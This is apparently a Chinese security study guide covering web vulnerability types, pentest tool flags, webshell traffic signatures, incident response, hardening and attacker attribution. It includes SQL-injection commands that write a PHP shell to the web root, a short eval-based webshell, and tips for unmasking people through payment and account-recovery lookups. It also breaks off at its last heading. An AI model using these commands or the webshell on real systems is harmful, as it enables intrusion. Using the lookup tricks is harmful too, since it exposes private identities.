基础知识篇
常见漏洞
SQL注入
原理
用户输入的数据被当做SQL语句执行。
分类
联合注入、报错注入、布尔盲注、时间盲注、宽字节注入、二次注入
报错注入常用函数
updatexml、extravalue、exp、floor
SQL注入常见绕过
- 异或绕过
- 内联注释绕过
- 双写绕过
- 关键字替换绕过
- 编码绕过
SQL注入getshell的方式
- outfile写shell:select ‘‘ into outfile ‘/var/www/html/shell.php’
- dumpfile写shell:select ‘‘ into dumpfile ‘/var/www/html/shell.php’
- 基于日志写shell:
- 查看日志是否开启:show variable like ‘%general%’;
- 开启日志监测:set global general_log=on;
- 设置日志路径:set global general_log_file=’/var/www/html/info.php’;
- 执行查询,写入shell:select ‘‘;
SQL注入写shell的条件
- web目录具有写权限
- 知道web网站的绝对路径
- secure_file_priv没有具体值
- GPC关闭或者单引号没有被过滤
outfile和dumpfile的区别
- outfile:(1)支持多行数据同时导出;(2)使用union联合查询时,要保证两侧查询的列数相同;(3)会在换行符制表符后面追加反斜杠
- dumpfile:(1)每次只能导出一行数据;(2)不会在换行符制表符后面追加反斜杠
XSS
原理
用户输入的数据被当做html或JS代码执行。
分类
反射型、存储型、DOM型。
XXE
原理
又称为XML外部实体注入,当应用程序允许引用外部实体,但是没有对用户输入的数据进行严格的过滤和限制,攻击者就可以通过构造语句,来实现任意文件读取、代码执行等攻击。
文件上传漏洞
原理
在存在上传点的地方,开发者没有对用户上传的文件类型以及 文件内容进行严格的过滤和限制,攻击者可以通过上传脚本文件,获取目标主机的权限,实现对目标主机的控制。
webshell常见绕过
类实例化绕过:创建一个类,使用__construct魔术方法来触发木马(因为该方法会在被实例化的时候触发)
1 2 3 4 5 6 7 8
| <?php class create{ public __construct($shell){ @eval($shell); } } new create($_REQUEST[8]); ?>
|
异或绕过
关键字拼接绕过
取反绕过
文件上传常见绕过
- MIME绕过
- 前端绕过
- 条件竞争
- 图片马绕过
- 后缀名替换绕过
CSRF
原理
攻击者利用目标用户的身份,来执行非法操作。
SSRF
原理
由于服务端提供了从其他服务器应用获取数据的功能,但是没有对目标地址做严格的过滤和限制,攻击者通过篡改请求发送给服务器,然后以服务器的身份来访问其他资源,可以实现窃取本地和内网敏感数据、内网探测等攻击。
是一种由攻击者构造形成,由服务器发起请求的一个安全漏洞,一般情况下SSRF攻击的是外网访问不到的内部系统。
文件包含漏洞
原理
有时候开发者为了方便引用文件,会将文件包含的代码写成一个变量,并且这个变量由前端传入,如果没有进行严格的过滤和限制,就会引发文件包含漏洞,从而执行恶意操作。
文件包含漏洞常用的伪协议
- php://filter:读取文件源码
- php://input:任意代码执行
- data://text/plain:任意后门执行
- zip://:配合文件上传开启后门
- file:读取任意文件
代码执行漏洞
原理
应用程序在调用一些能够将字符串转换为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
常见代码执行漏洞函数
eval、assert、preg_replace、create_function、array_map、call_user_func、call_user_func_array、array_filter、usort、uasort
命令执行漏洞
原理
当用户可以控制命令执行函数中的参数时,将恶意系统命令掺杂到正常系统命令中,就可能造成命令执行攻击。
常见函数
system、exec、shell_exec、popen、反引号、pcntl_exec、passthru、prco_open
反序列化漏洞
原理
程序在处理数据时,对反序列化类型的数据没有进行足够的验证和过滤,导致攻击者可以通过构造恶意数据触发程序解析并执行攻击者预设的代码,从而实现对程序的控制。
序列化和反序列化
序列化就是将对象转换为字节流的过程,反序列化就是将字节流转换为对象的过程。
常见的反序列化魔法函数
- __invoke:当一个对象被当做函数调用时,会调用该方法
- __construct:当一个对象被实例化时会调用该方法
- __toString:当一个对象被当做字符串调用或输出时会调用该方法
- __wakeup:当序列化时自动调用
- __get:访问私有变量或不存在的变量时,自动回调
- __destruct:对象销毁时调用
- __sleep:序列化时会使对象休眠,调用sleep
- __call:当调用的对象不存在时自动调用该方法
- __isset:在不可访问的属性上调用isset函数或者empty函数触发
- __unset:在不可访问的属性上调用unset函数时触发
- __set:可以用于私有成员属性设置值,给一个未定义的属性赋值时会被触发
- __clone:当对象复制完成时调用
Java反序列化
1 2 3
| Java反序列化就是将java对象转化为字节序列的过程。反序列化的过程就是 1. 创建一个对象输出流 2. 通过对象输出流的ReadObject()方法来读取对象
|
任意文件操作
任意文件读取和任意文件下载原理
在某些网站中,给用户提供了文件查看或者下载的功能,但是没有对用户查看或者下载的文件做限制,就可能导致任意文件下载或读取。
逻辑漏洞
越权漏洞原理
攻击者可以在获取到低权限用户后,利用一些方式绕过权限检查,访问或者操作其他用户或者高权限用户。可以分为垂直越权和水平越权。漏洞的成因是对客户端提交的数据过于信任,在程序中没有对用户的操作进行严格的权限判断,就可能导致越权漏洞。
常见逻辑漏洞
验证码绕过、越权漏洞、未授权访问。
工具的基本使用
nmap的基本使用
- -sT:TCP全连接扫描,准确但是会留下大量的日志
- -sS:TCP SYN半连接扫描,速度较快,不会留下日志
- -sN:null扫描,标志位全为0,不适用Windows
- -sF:FIN扫描,标志位FIN=1,不适用Windows
- -O:查看目标主机系统版本
- -sV:探测服务版本
- -A:全面扫描
- -Pn:穿透防火墙进行扫描
- -sC:使用nmap的默认脚本
- --open:只显示开放的端口
sqlmap的基本使用
- --dump:拖库
- -u:指定URL
- --level:注入的等级
- --dbs:获取数据库
- --current-db:查看当前应用程序所用数据库
- --tables -D “数据库”:获取指定数据库的数据表名
- --columns -T “表名” -D “库名”:获取数据库的指定数据表的字段名
- --cookie:指定cookie
- --os-shell:获取shell
- --is-dba:查看是否是管理员权限
- --data:POST提交方式
- --forms:指定为post方式
- -p:指定测试参数
- --tamper:指定sqlmap的插件
- --os-shell:获取shell权限
wireshark的基本使用
协议 contains “关键字”:指定协议指定关键字搜索,eg:tcp contains “flag”
tcp.port==”端口”:指定端口搜索
ip.addr==IP地址:过滤出所有IP协议中源或目的IP等于指定IP的数据包
ip.src==IP地址:表示指定源IP地址
ip.dst==IP地址:表示指定目的IP地址
http.request.method:指定http请求方法
http.request:只显示http请求
http.response:只显示http响应
eth.addr==Mac地址:显示所有源Mac和目的Mac地址为指定Mac地址的数据包
ip.src==网段(例如:192.168.1.0/24):过滤一个网段
msf的基本使用
- msfdb:用来管理MSF的数据库的命令
- msfdb init:启动并初始化数据库
- msfdb reinit:删除并重新初始化数据库
- msfdb delete:删除数据库并停止使用他
- msfdb start、stop、status:启动数据库、停止数据库、启动数据库
- msfdb run:启动数据库并运行msfconsole
- msfconsole:
- help?:显示某一命令的用法
- connect:相当于nc命令
- 使用show查看msf提供的资源,常使用show exploits:查看当前可以使用的exp;show targets:查看目标;show payload:查看载荷
- search:搜索模块。简单搜索:search ms17_010
- show options:查看配置项;show missing:查看必配项
- use:使用指定模块
- set:设置参数
- unset:取消设置参数
- check:检测是否有该漏洞
- back:回到msfconsole根目录
- run/exploit:开始使用模块,使用exploit -j表示在后台运行
- msfvenom:用于生成定制的恶意软件载荷
CS
简介
1
| CobaltStrike是一款渗透测试工具,被业界人称为CS。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可用于团队分布式协同操作。
|
使用
1
| 一般使用步骤就是,先启动服务端,然后启动客户端连接获得一个可视化的界面,新建监听器来接收会话,生成木马文件(常见.exe可执行文件,office宏病毒,html应用程序类型的后门文件),上传到受害者主机,当受害者运行该木马文件时目标主机就在CS上线了。
|
其他
Python常用的库
- requests:主要用来处理http请求和处理响应
- threading:多线程库
- time:时间库
- re:正则表达式
- itertools:主要用来生成字典
- execjs:生成加密的密码字典
- BeautifulSoup:爬虫库
CDN
如何识别CDN
1 2
| 1. 使用nslookup进行查询,查看返回域名解析情况 2. 超级ping
|
如何绕过CDN获取真实IP
1 2 3 4
| 1. 目标邮件系统 2. 扫描敏感文件:phpinfo 3. 国外访问:偏远国家访问可能没有部署CDN 4. 分站域名:分站可能没有部署CDN
|
判断目标主机系统
如何判断目标主机是Windows还是Linux
1 2
| 1. 大小写检测,Windows对大小写不敏感 2. ping检测,Windows的TTL一般大于100、Linux一般小于100
|
无法连接3389服务器的情况
1 2 3 4 5 6
| 1. 3389处于关闭状态 2. 端口被修改 3. 防火墙/杀软拦截 4. 处于内网环境 5. 设置了指定用户才能访问 6. 设置了IP白名单
|
MySQL无法访问的原因
1 2 3
| 1. 站库分离 2. 3306未对外开放 3. 修改了默认端口
|
正向shell和反向shell的区别
1 2
| 1. 正向shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于外网的情况 2. 反向shell:让被攻击者连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况
|
正向代理和反向代理的区别
介绍
1 2
| 1. 反向代理:是指代理服务器来接受网络上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给网络上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器 2. 正向代理:是一个位于客户端和目标服务器之间的服务器(代理服务器),为了从目标服务器上获取内容,客户端向代理服务器发送一个请求并指定目标,然后代理服务器向目标服务器转交请求并将获得内容返回客户端。
|
区别
1 2 3 4
| 1. 正向代理是客户端的代理,反向代理是服务器的代理。 2. 正向代理一般是客户端架设的,反向代理一般由服务器架设的 3. 正向代理中服务器不知道真正的客户端到底是谁,反向代理中客户端不知道真正的服务器是谁 4. 正向代理主要用来解决访问限制问题,反向代理则是提供负载均衡、安全防护等作用。
|
流量分析篇
目录扫描的流量分析
1 2 3 4 5
| 1. 频繁访问同一网站或者服务器:通过穷举的方式来获取隐藏的目录或文件 2. IP地址的多样性:可能会使用代理IP 3. 文件或目录名的特征:例如常见的admin、backup、log等 4. 具有规律性的扫描:例如按照字母顺序、数字顺序进行规律性扫描 5. 大量404错误请求
|
爆破的流量分析
1 2 3 4 5 6 7 8 9
| 1. 大量失败登录尝试 2. 存在暴力破解的特征 3. 异常的登录时间或频率 4. 大量的登录尝试次数
判断是否成功: 1. 判断状态码,登录成功与否可能状态码不同 2. 判断回显长度,回显长度可能不同 3. 查看具体的响应包
|
XSS流量分析
1 2 3 4 5
| 1. 包含了恶意代码和脚本 2. 异常的请求来源或UA 3. 包含可疑的字符或语法 4. 存在大量的请求 5. 频繁的请求或异常的请求频次
|
命令执行的流量分析
1 2 3 4
| 1. 命令的特征:查看payload可以进行判断 2. 命令的来源 3. 命令执行的结果:命令执行后,目标系统可能会有响应返回结果,可能包含了相关目标系统的敏感信息 4. 修改文件的行为:命令执行可能导致目标系统上的文件进行修改、删除等操作
|
SQL注入的流量分析
1 2 3
| 1. 在http请求中存在大量的SQL注入语句 2. 在分析流量的时候,可以使用http contains "关键字"来进行过滤流量 3. 可以通过注入的流量判断是否攻击成功,并且可以判断注入点和注入类型
|
文件包含的流量分析
1 2
| 1. 通常含有webshell的常见特性:代码执行函数或者命令执行函数 2. 常以可执行文件的格式进行上传
|
常见webshell管理工具的流量特征
蚁剑
1 2 3 4 5 6
| 1. 默认的蚁剑会有两次请求 2. 其请求的主体会经过URL编码 3. 存在ini_set("display_errors","0")字符特征码 ------------------------------------------------- 默认的user-agent请求头是antsword xxx,不过可以修改。 一般将payload进行分段,然后分别进行base64编码,一般具有像eval这样的关键字,然后呢大概率还有@ini_set("display","0");这段代码。
|
菜刀
1 2 3 4 5 6 7
| 1. 请求体中存在eval,base64等特殊字符 2. 菜刀的UA头为百度的UA 3. 请求体中的payload为base64编码 4. 请求体中执行结果为明文,格式为X@Y 结果 X@Y ------------------------------------------- 连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 和 z2,名字都是可变的。 然后还有一段以QG开头,7J结尾的固定代码。
|
冰蝎2.0
1 2 3 4
| 1. 使用aes加密发起三次请求 2. 第一次请求服务端产生密钥写入session,session和当前会话绑定,(不同的客户端的密钥也是不同的) 3. 第二次请求是为了获取key 4. 第三次进行通信
|
哥斯拉4.0
1 2 3 4 5 6 7 8
| 1. 在经过base64解码之前,要进行一次反转 2. 在连接的过程中会有三次请求 3. 第一次请求并没有响应内容 4. 第二次请求和第三次请求的内容是相同的 ---------------------------------------- 1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。 2.在响应包的cache-control字段中有no-store,no-cache等特征。 3.所有请求中的cookie字段最后面都存在;特征。
|
应急响应篇
OSI七层模型
1 2 3 4 5 6 7 8
| 从上往下依次是: 1. 应用层 2. 表示层 3. 会话层 4. 传输层 5. 网络层 6. 数据链路层 7. 物理层
|
应急响应的基本思路流程
1 2 3 4 5 6
| 1. 收集信息:收集客户信息和中毒主机信息,包括样本 2. 判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等 3. 抑制范围:隔离使受害⾯不继续扩⼤ 4. 深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源 5. 清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产 6. 产出报告:整理并输出完整的安全事件报告
|
应急响应六个阶段
1 2 3 4 5 6 7 8
| 准备、检测、遏制、根除、恢复、跟踪
1. 准备:包括建立紧急响应团队、制定应急预案、开展演练和培训等,以确保在事件发生时可以应对 2. 检测:监控网络、系统和应用程序,及时发现异常行为、攻击和漏洞等问题,以便迅速做出反应 3. 遏制:采取措施限制安全事件的影响、停止攻击行为,并对受影响的系统或数据进行隔离和保护 4. 根除:通过对受感染、被操纵或遭遇攻击的系统、设备和数据进行检查、清理和恢复等措施,从而彻底根除恶意软件和对网络的攻击 5. 恢复:对被影响的设备或系统进行修复和加固,并恢复业务、应用程序和服务,以便尽快返回正常运行状态 6. 跟踪:跟踪事故发生的原因和过程,分析并总结,总结经验教训,改进应急响应流程和方案,以提高应对未来安全事件的能力
|
应急响应常见事件分类
1 2 3
| 1. web入侵:网页挂马、主页篡改、webshell 2. 系统入侵:病毒木马、勒索软件、远控后门 3. 网络攻击:DNS劫持、DDOS攻击、ARP欺骗
|
入侵检测
Windows入侵检测
1 2 3 4 5 6 7 8 9 10 11 12
| 1. 检查系统账号安全: (1)查看是否有弱口令; (2)远程管理端口是否开放; (3)用D盾查看服务器是否有隐藏账号、克隆账号 2. 检查异常端口、进程: (1)使用netstat -ano进行查看端口连接情况; (2)任务管理器查看进程 3. 检查服务自启动(services.msc)、计划任务(at、schtasks.exe) 4. 检查系统相关信息: (1)查看系统版本(systeminfo)以及补丁信息(hotfix); (2)查看可疑目录及文件 5. 日志分析(eventvwr.msc)
|
Linux入侵检测
- 账号安全:
who(pts是远程登录,tty是本地登录)
uptime:查看登录多久、多少用户
- 查看
/etc/passwd,删除无密码用户
/etc/shadow:设置密码有效期
- 历史命令:
- 通过history查看历史命令
- 在历史命令尾部加上具体时间【在/etc/profile文件的末尾加上 export HISTTIMEFORMAT=”%Y-%m-%d %H:%M:%S “ ,然后 source /etc/profile 生效】
- 检查异常端口:
- netstat -antlp|more(more会按也显示文本)
- 查看pid所对应的进程文件路径(ls -l /proc/$PID/exe:$PID表示所对应的PID号)
- 检查异常进程:
ps aux | more
- 检查开机自启项:
/etc/rc.local
/etc/rc.d/rc[0~6].d
- 检查定时任务:
crontab -l:列出某个用户cron服务的详细内容
crontab -r:删除指定用户的定时任务(需要谨慎操作)
crontab -e:编辑当前的定时任务
- 检查服务:
chkconfig --list:查看系统运行的服务
- 检查异常文件
- 检查系统日志
排查
Linux常用排查命令
1 2 3 4 5 6 7 8 9 10 11 12 13
| 系统信息: 1. 查看当前系统状态:top 2. 操作系统信息:uname -a 3. 查看当前系统进程信息:ps 4. 查看历史命令:history 5. 列出所有的连接和监听的端口:netstat 6. 查看谁在使用某个端口:lsof 用户登录: 1. 查看当前用户登录系统的情况:who 2. 分析超级权限账户:awk -F: '{if ($3==0) print $1}' /etc/passwd 3. 查看可登录的账户:cat /etc/passwd | grep "/bin/bash" 4. 查看用户错误的登录信息:lastb 5. 查看空口令账户:awk -F: 'length($2)==0 {print $1}' /etc/passwd
|
基线检查
Linux基线检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 账号管理和授权: 1. 检查特殊账号,是否存在空密码的账户和root权限账户 2. 禁用或删除无用账号 3. 添加口令策略:设置过期时间、连续认证失败次数 4. 禁止root远程登录 服务: 1. 关闭不必要的服务 2. SSH服务安全: 2.1. 不允许root直接登录:permitrootlogin=no 2.2. 修改ssh的版本为2 2.3. 修改允许错误密码次数:MaxAuthTries=3 文件系统: 1. 设置umask值:在/etc/profile添加行umask 027 2. 设置登录超时:在/etc/profile将TMOUT=开头的注释去掉,并且设置会TMOUT=180(180秒)
|
Windows安全基线
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 身份鉴别、访问控制、安全审计、资源控制、剩余信息保护 身份鉴别: 1. 更改缺省账户 2. 检查游客账户是否禁用 3. 密码复杂性要求 4. 密码长度不能小于8位 访问控制: 1. 共享账户检查 2. 远程关机授权 3. 授权账户登录 安全审计: 1. 用户登录日志记录 2. 系统日志完备性检查 3. 登录超时管理 资源控制: 1. 登录超时管理 2. 远程登录超时配置 剩余信息保护: 1. 不显示上次的用户名 2. 关机前清除虚拟内存页面 3. 不启用可还原的加密来存储密码
|
系统加固
账户安全
1 2 3 4 5 6 7 8 9 10 11 12
| windows: 1. 不显示上次登录的用户名,防止弱口令爆破; 2. 设置账户锁定策略,比如设置登录限制次数,达到多少次锁定多长时间
linux: 1. 禁用root之外的超级用户: 1.1. 禁用:使用sudo passwd -l <用户名> 1.2. 启用:使用sudo passwd -u <用户名> 2. 限制普通用户使用sudo提权,或者限制使用sudo提权的权限大小 3. 锁定系统中不使用的账号 4. 设置登录失败锁定次数、锁定时间
|
口令安全
1 2 3 4 5 6 7 8 9
| windows: 1. 设置密码复杂性要求 2. 设置最小密码长度 3. 设置不能使用历史密码
Linux: 1. 检查shadow文件中是否存在空口令账户 2. 设置口令复杂度要求 3. 设置密码有效期:vim /etc/login.defs
|
服务与端口
1 2 3 4 5 6
| 1. 关闭或者限制常见的高危端口,例如:22、23、445、3389 1.1. windows:使用防火墙限制端口 1.2. linux:使用iptables封禁IP或者限制端口 2. 排查计划任务: 2.1. windows上使用compmgmt.msc 2.2. Linux上查看crontab -l
|
文件权限
1
| Linux上chmod修改文件权限,chattr重要文件设置不可修改权限
|
系统日志审计
1 2 3
| 系统日志:/var/log/message cron日志:/var/log/cron 安全日志:/var/log/secure
|
溯源
溯源的基本步骤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| 1.攻击源捕获 安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等 日志与流量分析,异常的通讯流量、攻击源与攻击目标等 服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等 邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等 蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息 2.溯源反制手段 IP 定位技术 根据IP定位物理地址–代理 IP 溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息 ID 追踪术 ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配 溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息 网站 url 域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护 溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析 恶意样本分析 提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析 溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者 社交账号 基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等 利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销 3.攻击者画像 攻击路径 攻击目的:拿到权限、窃取数据、获取利益、DDOS 等 网络代理:代理 IP、跳板机、C2 服务器等 攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
攻击者身份画像 虚拟身份:ID、昵称、网名 真实身份:姓名、物理位置 联系方式:手机号、qq/微信、邮箱 组织情况:单位名称、职位信息
|
溯源的技巧
1 2 3 4 5 6
| 域名、ip 反查目标个人信息 支付宝转账,确定目标姓氏 淘宝找回密码,确定目标名字 企业微信手机号查公司名称 REG007 查注册应用、网站 程序 PDB 信息泄露
|
设备常见的误报
1 2 3 4 5 6 7 8 9 10 11 12
| 1. 如果看到一个告警IP,如何判断其是否是真实的攻击? 首先看下告警中攻击者的IP是内网IP还是外网IP。如果是内网IP,首先根据请求包和响应包进行判断。比如看下请求包内是否有SQL语句,如果有SQL语句,并且响应包内容有执行成功的回显(就是响应包内有),那么判断确实是SQL攻击,需要上报给研判人员,让研判人员跟在场的负责人员确认下攻击的业务系统是否是业务系统本身存在这种漏洞,是否是本身的业务逻辑造成的。如果是因为本身业务逻辑造成的并且攻击者IP确认为安全的IP,那么本次攻击应当是误判,如果IP为不安全的IP(IP所有者在此期间内没有进行操作),那么可能是真实攻击行为。 外网攻击者IP判断是否是攻击的话,就根据请求包和响应包内容进行对比,看一下是否是恶意动作,如果是恶意动作,那么判断为真实攻击。 2. 如果看到一条SQL注入告警,怎么判断是否攻击成功? 根据请求包和响应包对比进行判断,比如看下请求包是否有SQL语句,如果有SQL语句(例如select version),并且响应包内容有执行成功的回显,那么判断确实是SQL攻击,并且成功了。 3. 如果看到一条文件上传的告警,怎么判断是否攻击成功? 根据请求包和响应包对比进行判断,看一下请求包文件名是否是恶意的脚本文件名称,请求包内容是否含有恶意脚本内容,然后看一下响应包状态码是否是200或302,如果符合上述两个特征,那么可能上传成功,上报给研判人员,让研判人员进行验证。 4. 如果看到一条命令执行的告警,怎么判断是否攻击成功? 根据请求包和响应包对比进行判断,看一下请求包内是否有系统命令,比如看一下请求包内是否有ipconfig,然后看下响应包回显是否有IP内容,如果确实有说明攻击成功,如果没有,说明大概率攻击未成功,但是存在恶意攻击,将此告警上报给研判人员,研判人员进行二次验证。
|
常见漏洞扫描工具
1 2 3 4 5 6 7
| 1. AWVS 2. APPscan 3. OpenVAS 4. Xray 4.1. 基于代理的被动扫描:./xray webscan --listen 127.0.0.1:7777 4.2. ./xray webscan --basic-crawler 目标网站 4.3. ./xray webscan --plugins cmd_injection --url 目标网站
|
中间件和框架漏洞
常见中间件漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| IIS: 1. PUT漏洞:IIS server在web服务拓展中开启了webdav,配置写入权限,脚本资源访问权限,导致任意文件上传 2. 短文件名拆解漏洞:IIS短文件名机制,可以暴力拆解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造某个不存在的短文件名,返回400 3. 远程代码执行 4. 解析漏洞:test.asp/1.jpg会被当做asp文件来执行 Apache: 1. 解析漏洞:Apache默认一个文件可以有多个以点分割的后缀,比如test.php.xxx,当最右边的后缀无法识别的时候,则会向左识别,直到识别到合法的后缀才能进行解析 2. 目录遍历:程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件 Nginx: 1. 目录遍历:程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件 2. CRLF注入:由于Nginx没有正确地处理HTTP请求中的换行符和回车符导致的。攻击者可以在HTTP请求中注入特殊的CRLF字符序列,从而执行任意的命令或者篡改HTTP响应 3. 目录穿越:NGINX在配置别名的时候,如果忘记加/,将造成目录穿越漏洞
Tomcat: 1. 远程代码执行:当tomcat启用了HTTP的put方法,攻击者就可能通过精心构造的攻击请求数据包向服务器上传包含任意代码的jsp文件,jsp文件中的恶意代码将能被服务器执行。 2. war后门文件部署:tomcat支持后台文件部署war后门,可以直接将webshell部署到web目录下
jboss: 1. 反序列化漏洞 2. war后门文件部署 weblogic: 1. Java反序列化:该漏洞通过t3协议(Oracle WebLogic Server中使用的自定义协议,是基于Java对象序列化和反序列化机制,通过网络传输Java对象)触发,可导致未授权的用户在远程服务器执行任意命令 2. weblogic未授权RCE:允许后台任意用户通过HTTP协议执行任意命令 3. weblogic任意文件上传:weblogic web service test page中存在任意文件上传,攻击者可以通过任意jsp文件来getshell
|
常见框架漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Struts2: 1. Struts2代码执行:【允许攻击者通过构造恶意OGNL表达式来执行任意代码】Struts2框架中的Action类允许开发人员使用OGNL表达式处理用户请求,攻击者利用应用程序未正确验证或过滤用户输入的缺陷,构造恶意输入,然后应用程序会将输入作为OGNL表达式进行解析和执行,就可能导致恶意代码的执行。(任意代码执行、系统命令执行、文件读取、数据库操作) 2. Struts2 OGNL注入漏洞:当应用程序未正确验证或过滤用户输入时,攻击者可以通过构造恶意的OGNL表达式注入恶意代码 3. XML解析漏洞:当Struts2应用程序使用XML解析功能时,存在潜在的XXE漏洞。 4. 文件上传漏洞:如果应用程序未正确验证和处理用户上传的文件,攻击者可以上传恶意文件,并执行任意代码或篡改系统文件
thinkphp: 1. SQL注入:当应用程序未正确过滤和转义用户输入时,攻击者可以通过构造恶意的SQL查询语句来执行未经授权的数据库操作 2. 反序列化漏洞:如果应用程序在反序列化用户提供的数据时存在漏洞,攻击者可以构造恶意序列化数据,导致执行任意代码 3. 远程命令执行漏洞:当应用程序在执行系统命令时未正确验证或过滤用户输入,攻击者可以通过构造恶意的命令注入漏洞执行任意系统命令
spring: 1. Spring远程命令执行:当应用程序在处理用户输入时,未正确验证或过滤数据,攻击者可以构造恶意的输入来执行任意代码 2. 未授权访问:如果应用程序在访问受限资源时存在授权验证缺陷,攻击者可以绕过身份验证和访问控制,获取未经授权的访问权限 3. 反序列化漏洞:如果应用程序在反序列化用户提供的数据时存在漏洞,攻击者可以构造恶意序列化数据,导致执行任意代码
|
log4j
原理
- log4j漏洞原理:这是一个基于Java的日志记录工具,由于log4j2某些功能存在递归解析功能,攻击者可以直接构造恶意请求,触发远程代码执行。
- log4j 2漏洞原理:log4j 2是Java语言的日志处理套件,使用极其广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过lookup进行JNDI注入,执行任意代码。
log4j远程代码执行漏洞
1 2 3 4 5
| 原理: Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到${后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。
具体操作: 在正常的log处理过程中对${这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行
|
fastjson
fastjson反序列化漏洞
1 2 3 4 5 6 7 8 9 10
| 判断: 正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。
原理: fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
无回显怎么办: 1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果 2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了 3.直接将命令执行结果回显到请求Poc的HTTP响应中
|
fastjson不出网利用链
- TemplatesImpl利用链:
- 这个利用链有限制,由于该字段在fastjson1.2.22版本引入,所以只能影响1.2.22~1.2.24
- 使用条件:
- parseObject(input,Object.class,Feature.SupportNonPublicField)
- parse(input,Feature.SupportNonPublicField)
- BCEL字节码利用
shiro
shiro反序列化漏洞
1 2 3 4 5 6 7 8 9 10 11 12
| 原理: Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。
判断: 1.数据返回包中包含rememberMe=deleteMe字段。 2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:****rememberMe=然后查看返回数据包中是否存在关键字。
shiro-550: shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。
shiro-721: 不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。
|
weblogic
端口:7001
weblogic反序列化
1 2 3
| XMLDecoder反序列化:weblogic的WLS security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
weblogic T3协议反序列化命令执行:远程攻击者通过T3协议在weblogic server中执行反序列化操作,利用RMI(远程方法调用)机制的缺陷,通过JRMP(Java远程方法协议)达到任意反序列化代码,进而造成远程代码执行。
|
常见安全设备
入侵检测系统IPS
1
| 是计算机网络安全设施,是对防病毒软件和防火墙的补充。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。
|
入侵防御系统IDS
1
| 积极主动的防护措施,按照一定的安全策略,通过软件,硬件对网络,系统的运行进行实时的监控,尽可能地发现网络攻击行为,积极主动的处理攻击,保证网络资源的机密性,完整性和可用性。
|
防火墙
1
